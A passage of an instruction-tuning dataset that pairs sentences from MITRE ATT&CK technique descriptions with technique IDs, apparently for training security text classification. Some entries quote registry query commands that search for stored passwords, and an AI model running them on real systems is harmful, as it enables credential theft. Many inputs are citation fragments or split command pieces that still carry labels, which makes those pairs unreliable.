activities. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines.", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation:", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps AWS Traffic Mirroring)", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps AWS Traffic Mirroring) ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)", "output": "T1040", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software) ### Response: T1040."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators.", "output": "T1017", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. ### Response: T1017."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required.", "output": "T1017", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. ### Response: T1017."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, the system may require an administrative account to log in or to perform software deployment.", "output": "T1017", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, the system may require an administrative account to log in or to perform software deployment. ### Response: T1017."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system.", "output": "T1017", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. ### Response: T1017."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "output": "T1017", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. ### Response: T1017."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert these trust mechanisms.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert these trust mechanisms. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method adversaries use will depend on the specific mechanism they seek to subvert.", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method adversaries use will depend on the specific mechanism they seek to subvert. ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)", "output": "T1553", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ### Response: T1553."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing) ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The certificates used during an operation may be created, acquired, or stolen by the adversary.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The certificates used during an operation may be created, acquired, or stolen by the adversary. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing to verify software on first run can be used on modern Windows and macOS systems.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing to verify software on first run can be used on modern Windows and macOS systems. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is not used on Linux due to the decentralized nature of the platform.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is not used on Linux due to the decentralized nature of the platform. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may access data from cloud storage.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may access data from cloud storage. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect sensitive data from these cloud storage solutions.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect sensitive data from these cloud storage solutions. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation:", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Storage Security, 2019)(Citation:", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Storage Security, 2019)(Citation: ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Cloud Storage Best Practices, 2019)", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Cloud Storage Best Practices, 2019) ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation:", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wired Magecart S3 Buckets, 2019)(Citation:", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wired Magecart S3 Buckets, 2019)(Citation: ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021) ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", "output": "T1530", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects. ### Response: T1530."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter application binaries used to display data in order to cause runtime manipulations.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter application binaries used to display data in order to cause runtime manipulations. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1565.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1565.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search the Registry on compromised systems for insecurely stored credentials. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Registry stores configuration information that can be used by the system or other programs.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Registry stores configuration information that can be used by the system or other programs. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes these credentials are used for automatic logons.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes these credentials are used for automatic logons. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>\n*", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code>\n* ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Current User Hive: <code>reg query HKCU /f", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Current User Hive: <code>reg query HKCU /f ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "password /t", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: password /t ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code> ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File sharing over a Windows network occurs over the SMB protocol.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File sharing over a Windows network occurs over the SMB protocol. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It can also be used to query shared drives on the local system using <code>net share</code>.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It can also be used to query shared drives on the local system using <code>net share</code>. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.", "output": "T1135", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For macOS, the <code>sharing -l</code> command lists all shared points used for smb services. ### Response: T1135."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS)", "output": "T1120", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) ### Response: T1120."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage.", "output": "T1120", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. ### Response: T1120."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "output": "T1120", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately 